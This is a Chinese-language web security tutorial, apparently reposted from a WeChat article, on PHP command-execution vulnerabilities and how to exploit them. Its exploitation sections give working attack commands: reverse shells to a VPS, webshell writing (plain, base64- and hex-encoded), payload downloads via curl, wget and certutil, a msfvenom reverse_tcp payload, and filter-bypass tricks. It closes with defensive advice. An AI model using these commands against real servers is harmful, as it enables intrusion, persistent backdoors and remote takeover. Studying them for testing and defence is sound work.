当前位置:   article > 正文

WEB 安全—深入学习命令执行漏洞

命令执行漏洞

1、漏洞简述

命令执行漏洞,指有时应用需要调用一些执行系统命令的函数,如system()、exec()、shell_exec()、eval()、passthru(),代码未对用户的可控参数进行过滤,当用户能控制这些函数中的参数时,就会将恶意系统命令拼接到正常命令中,造成命令执行的攻击。

在操作系统中,“&、|、||”都可以作为命令连接符使用,用户通过浏览器提交执行命令,由于服务器端没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令。

命令执行与代码执行漏洞区别

命令执行漏洞是可以直接调用操作系统命令,代码执行漏洞是靠执行脚本代码调用操作系统命令

命令执行&代码执行漏洞危害

可以执行代码、系统命令进行读写文件、反弹shell等操作,拿下服务器,进一步内网渗透等等。

代码执行,文件读取,命令执行的函数都有哪些?

命令执行:

system(), exec(), shellexec(), passthru() ,pcntlexec(), popen(),proc_open()

代码执行:

eval,preg_replace+/e,assert,calluserfunc,calluserfuncarray,create_function

2、漏洞原理

命令执行漏洞的原理是:攻击者通过向应用程序提供恶意输入(如表单数据或 URL 参数),将恶意命令注入到系统命令中。应用程序在执行命令时,将恶意输入中的命令一同执行,从而导致攻击者可以通过应用程序在系统上执行任意命令。

例如,假设一个Web应用程序中存在以下命令执行漏洞:
在这里插入图片描述
攻击者可以通过将 $filename 参数设置为恶意字符串来利用漏洞。例如,如果攻击者将 $filename 设置为 ;ls -la, 那么最终执行的命令将变为 cat ;ls -la,攻击者就可以在服务器上执行 ls 命令,获取服务器上的敏感信息。
在这里插入图片描述

2.1 命令执行常用函数

在 PHP 中,一些常用的可以执行系统命令的函数包括:

  1. system():执行系统命令,并直接输出结果。
  2. shell_exec():执行系统命令,并返回输出结果。
  3. exec():执行系统命令,并返回输出结果和执行结果。
  4. passthru():执行系统命令,并直接输出结果。
  5. popen():打开一个管道,并执行指定命令。
  6. proc_open():通过指定命令打开一个进程,并建立管道进行通信。
  7. 反引号其实调用的是shell_exec()函数,当反引号中的变量可控时就会造成命令执行,且无回显。
  8. pcntl_exec():执行指定的可执行文件,并用该文件替换当前进程。(在 Linux/Unix 系统中执行指定的可执行文件,并替换当前进程。)
  9. expect_popen():通过 spawn 的方式启动一个进程,并对其进行交互式控制。(使用 Tcl 的 expect 扩展执行交互式命令。)
  10. dl():装载指定的动态链接库文件,并执行其中的函数。(5.4已经移弃)
  11. posix_spawn():启动一个新的进程,并指定要执行的程序文件名、命令行参数等。(针对 POSIX 环境)
    这些函数都可以用于执行系统命令,但是都存在着安全风险。在编写 PHP 代码时,应该避免使用这些函数或者对用户输入进行严格的验证和过滤,以防止命令注入攻击。

2.3 常用命令执行函数使用示例

1、system()

在这里插入图片描述在这里插入图片描述

2、exec()

在这里插入图片描述在这里插入图片描述

3、shell_exec()

在这里插入图片描述在这里插入图片描述

4、passthru()

在这里插入图片描述在这里插入图片描述

5、popen()

在这里插入图片描述在这里插入图片描述

6、proc_open()

在这里插入图片描述在这里插入图片描述

7、 反引号

在这里插入图片描述在这里插入图片描述

3、漏洞利用

3.1 出网测试

1、使用dnslog.cn、ceye.io
原理:反引号的命令会自动执行并返回命令执行的结果拼接到命令里
在这里插入图片描述
2、VPS

先在vps处用nc进行监听
nc -l -p 8080 -vvv nc -lvnp 9988
然后在靶机命令执行处输入
|bash -i >& /dev/tcp/xxxxxI(你的vps的公网ip)/8080 0>&1
  • 1
  • 2
  • 3
  • 4

3、VPS 开启httpserver 服务

pyhton -m http.server 8888      #pyhton3中启动方式,开启的端口为80
python -m SimpleHTTPServer 8888    #python2启动方式
curl http://vps_ip:8888/`whoami`
  • 1
  • 2
  • 3
3.2 写入Shell

1、查找路径

locate 00000.png 2>/dev/null
find / -name 00000.png 2>/dev/null
find / | grep 00000.png 2>/dev/null
find /var/www/html/ -name "*.php"
| xargs grep "某某网站"
dir /a/b/s c:\xxxxx.jpg
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6

2、常规写入

在有写入权限、知道路径的的情况下,直接写入一句话getshell
echo ' eval($_POST[1]);?>' > /var/www/html/shell.php
set /p="<%execute request("1")%>" > C:\inetpub\wwwroot\shell.asp
echo ^<%execute request("1")%^> > C:\inetpub\wwwroot\shell.asp
  • 1
  • 2
  • 3
  • 4

3、远程下载写入:

curl http://192.168.1.100/shell.txt >
/var/www/html/shell.php
wget http://192.168.1.120/shell.txt -O
/var/www/html/shell.php
  • 1
  • 2
  • 3
  • 4

4、远程下载写入:

curl http://192.168.1.100/shell.txt > /var/www/html/shell.php
wget http://192.168.1.120/shell.txt -O /var/www/html/shell.php
certutil -urlcache -split -f http://192.168.1.105:8080/shell.txt C:\inetpub\wwwroot\shell.asp
  • 1
  • 2
  • 3

5、编码方式写入:

echo PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+ | base64 -d > /var/www/html/shell.php
echo 3C3F706870206576616C28245F504F53545B315D293B3F3E | xxd -r -ps > /var/www/html/shell.php
更多姿势参考链接:https://www.wangan.com/p/7fy7fxcc831261a2
  • 1
  • 2
  • 3
3.3 反弹Shell
/bin/bash -i >& /dev/tcp/vps_ip/4433 0>&1
  • 1
3.4 CS/Msf 马
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.43.223 LPORT=4444 -f elf -o 1.elf
  • 1

4、不安全的过滤示例

1、过滤 & | && ||

在这里插入图片描述
Linux下可通过; 号绕过

在这里插入图片描述

2、过滤空格

在这里插入图片描述

<--  重定向,如cat<flag.php
<>--   重定向,如cat<>flag.php
%09--  需要php环境,如cat%09flag.php
${IFS}--  单纯cat$IFS,IFS被bash解释器当做变量名,输不出来结果,加一个{}就固定了变量名,如cat${IFS}flag.php
$IFS$9--  后面加个$与{}类似,起截断作用,$9是当前系统shell进程第九个参数持有者,始终为空字符串,如cat$IFS$9flag.php
linux下我们还可以使用大花括号来绕过空格的限制
{ls,-alt}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7

在这里插入图片描述
在这里插入图片描述在这里插入图片描述

3、关键字过滤

在这里插入图片描述在这里插入图片描述单引号,双引号、反引号、反斜杠等进行绕过
在这里插入图片描述在这里插入图片描述

4、黑名单过滤

在这里插入图片描述
通过遗漏的命令进行查看
在这里插入图片描述

5、逻辑绕过

在这里插入图片描述
这里先用c’a‘t 绕过 cat,绕过看来‘ 的时候,被过滤掉了,这时候剩下cat 。
在这里插入图片描述

6、长度限制绕过

在这里插入图片描述
这里限制15个字节
在这里插入图片描述

如果需要更多长度的话,则需要换行写入
在Linux中,当我们执行文件中的命令的时候,我们通过在没有写完的命令后面加\,可以将一条命令写在多行,如下:
d&cat</etc/pass wd
d&echo "ca\\">a
d&echo "t\\">>a
d&echo "<\\">>a
d&echo "/\\">>a
d&echo "e\\">>a
d&echo "t\\">>a
d&echo "c\\">>a
d&echo "/\\">>a
d&echo "p\\">>a
d&echo "a\\">>a
d&echo "s\\">>a
d&echo "s\\">>a
d&echo "w\\">>a
d&echo "d\\">>a

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18

在这里插入图片描述
我们进入服务器看看具体代码
在这里插入图片描述

5、绕过总结

1、| || & && 的区别

在命令执行上下文中,|、||、& 和 && 是用于控制命令执行的操作符。它们在使用和行为上有所不同:

管道操作符 |:

作用:将前一个命令的输出作为后一个命令的输入,用于连接多个命令的执行结果。

示例:command1 | command2,将 command1 的输出作为 command2 的输入。

逻辑或操作符 ||:

作用:用于在命令执行时,只有前一个命令执行失败(返回非零退出状态码)时才执行后续的命令。

示例:command1 || command2,如果 command1 执行失败,则执行 command2。

后台执行操作符 &:

作用:将命令放在后台执行,即不等待命令执行完成就立即返回,并允许同时执行其他命令。

示例:command &,将 command 放在后台执行。

逻辑与操作符 &&:

作用:用于在命令执行时,只有前一个命令执行成功(返回零退出状态码)时才执行后续的命令。

示例:command1 && command2,如果 command1 执行成功,则执行 command2。

总结:

| 用于将前一个命令的输出传递给后一个命令作为输入。

|| 用于执行后续命令,只有前一个命令执行失败时。

& 用于将命令放在后台执行。

&& 用于执行后续命令,只有前一个命令执行成功时。

在命令执行过滤中,通常会对这些特殊字符进行过滤或转义,以防止恶意命令注入。安全的命令执行应该使用参数化查询或调用安全的命令执行函数,以避免命令执行漏洞的利用。
测试代码:
在这里插入图片描述127.0.0.1 | ipconfig 只输出后面命令

在这里插入图片描述
127.0.0.1 || whoami 前面ture的情况下,只输出前面命令
在这里插入图片描述

ddd | ipconfig 前面命令错的情况下,只输出后面命令
ddd || ipconfig 前面命令错的情况下,只输出后面命令
127.0.0.1 & whoami 两个都输出
127.0.0.1 && whoami 两个都输出
ddd & whoami 只输出后面命令
ddd && whoami false的情况下,都不输出
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6

2、管道符绕过

windows:
‘|’ 直接执行后面的语句
‘||’ 如果前面命令是错的那么就执行后面的语句,否则只执行前面的语句
‘&’ 前面和后面命令都要执行,无论前面真假
&&如果前面为假,后面的命令也不执行,如果前面为真则执行两条命令
Linux:
Linux系统包含了windows系统上面四个之外,还多了一个 ‘;’ 这个作用和 ‘&’ 作用相同
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7

在这里插入图片描述

3、空格过滤

<  --  重定向,如cat<flag.php
<>      --   重定向,如cat<>flag.php
%09  --  需要php环境,如cat%09flag.php
${IFS}  --  单纯cat$IFS,IFS被bash解释器当做变量名,输不出来结果,加一个{}就固定了变量名,如cat${IFS}flag.php
$IFS$9  --  后面加个$与{}类似,起截断作用,$9是当前系统shell进程第九个参数持有者,始终为空字符串,如cat$IFS$9flag.php
  • 1
  • 2
  • 3
  • 4
  • 5

在这里插入图片描述

linux下我们还可以使用大花括号来绕过空格的限制
{ls,-alt}
  • 1
  • 2

在这里插入图片描述

4、黑名单绕过

Windows下

  命令拼接
whoami //正常执行
w"h"o"a"m"i 或"w"h"o"a"m"i""w"h"o"a"m"i或w"h"o"a"m"i"//正常执行
who^ami或wh""o^a^mi 或wh""o^a^mi"//正常执行
但是"wh""o^a^mi"这种在开头就有单引号的情况是不能执行的
(Whoami)或(Wh^o^am""i)((((Wh^o^am""i)))) //正常执行 
可以加任意个"但不能同时连续加2个^ 符号,因为^号是cmd中的转义符,跟在他后面的符号会被转义
  set命令
知识点:用两个 % 括起来的变量,会输出变量的值
set a=who
set b=ami
%a%%b% //正常执行whoami
call %a%%b% //正常执行whoami

  切割字符
set a=whoami
%a:~0% //取出所有字符,所以正常执行命令
%a:~0,6% //从开始切割6个字符,刚好是whoami,所以正常执行
%a:~0,5% //切割后是whoam,不是系统命令,不能执行

set a=abc qwe //先自定义
wh^o^%a:~0,1%mi //然后截断整理后就变成了:wh^o^ami,所以命令执行成功
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22

Linux下

Base64 绕过方法一:在这里插入图片描述在这里插入图片描述
hex绕过

echo 77686F616D69 | xxd -r -p | bash  其中77686F616D69是whoami的hex编码
  • 1

通配符

常见的通配符
符号  含义
?匹配单个字符如果匹配多个字符,就需要多个?连用
*  *代表任意数量的字符
[ ]  代表一定有一个在括号内的字符(非任意字符)。例如 [abcd] 代表一定有一个字符, 可能是 a, b, c, d 这四个任何一个


  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7

在这里插入图片描述

5、Windows 命令行下用于查看文件的常用命令

1.  type:显示文本文件的内容。
2.  more:逐页显示文本文件的内容。
3.  find:在文本文件中搜索指定的字符串。
4.  findstr:在文本文件中使用正则表达式搜索指定的字符串。
5.  fc:比较两个文件或文件集的内容并显示差异。
6.  more < file:从文件中读取内容并逐页显示。
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6

在这里插入图片描述
如果都过滤的情况下可以使用set 设置变量拼接命令的方式进行读取,如下:
在这里插入图片描述

6、PowerShell 命令行下查看文件的常用命令

more 文件路径:逐页显示文本文件的内容。
2.  type 文件路径:显示文本文件的内容。
3.  sls "搜索内容" 文件路径(sls 是 Select-String 的简写):在文本文件中搜索指定的字符串,并输出包含匹配内容的行。
4.  gc -TotalCount 行数 文件路径:只显示文本文件的前几行内容。
5.  gc -Tail 行数 文件路径:只显示文本文件的最后几行内容。
6.  cat 文件路径:显示文本文件的内容。
7.  more < 文件路径:从文件中读取内容并逐页显示。
8.  sls "搜索内容" < 文件路径:在文本文件中搜索指定的字符串。
9.  gc -Raw 文件路径:以原始格式显示文本文件的内容,包括行尾换行符。
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9

在这里插入图片描述

7、Linux 命令行下查看文件的常用命令

在这里插入图片描述

6、安全建议

对于命令执行漏洞,最好的防御方式是避免使用任何可以执行系统命令的函数。如果不可避免,我们应该尽可能限制用户的输入,确保用户输入的内容符合预期,并且不会被当作命令执行。

  1. 输入过滤和验证:对于用户输入的命令参数或任何其他用户输入,进行严格的过滤和验证。确保只接受预期的字符和格式,拒绝或移除任何潜在的命令执行字符。
  2. 参数化查询:对于数据库查询,使用参数化查询或预处理语句,而不是直接拼接用户输入到查询语句中。这样可以防止SQL注入攻击,从而间接防止命令执行漏洞。
  3. 白名单验证:针对特定的命令或参数,使用白名单验证来限制允许的输入。只允许预定义的安全字符或模式通过验证,拒绝其他字符或模式。
  4. 禁用危险函数:禁用或限制执行危险的命令执行函数,例如 system()、exec()、shell_exec() 等。只允许执行必要的安全命令。
  5. 最小特权原则:确保在命令执行时使用最小的权限和权限限制。限制命令执行环境的访问权限,仅允许访问必要的文件和资源。
  6. 日志记录和监控:记录和监控命令执行操作,包括输入参数和执行结果。这样可以及时发现异常或恶意
    以上只是一些常见的防御措施和技术,具体的防御策略还应根据实际需求和安全要求进行定制和实施。

原文链接:https://mp.weixin.qq.com/s/ySgXJUnm_dIr52bSSpRjfQ

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/IT小白/article/detail/309268
推荐阅读
相关标签
  

闽ICP备14008679号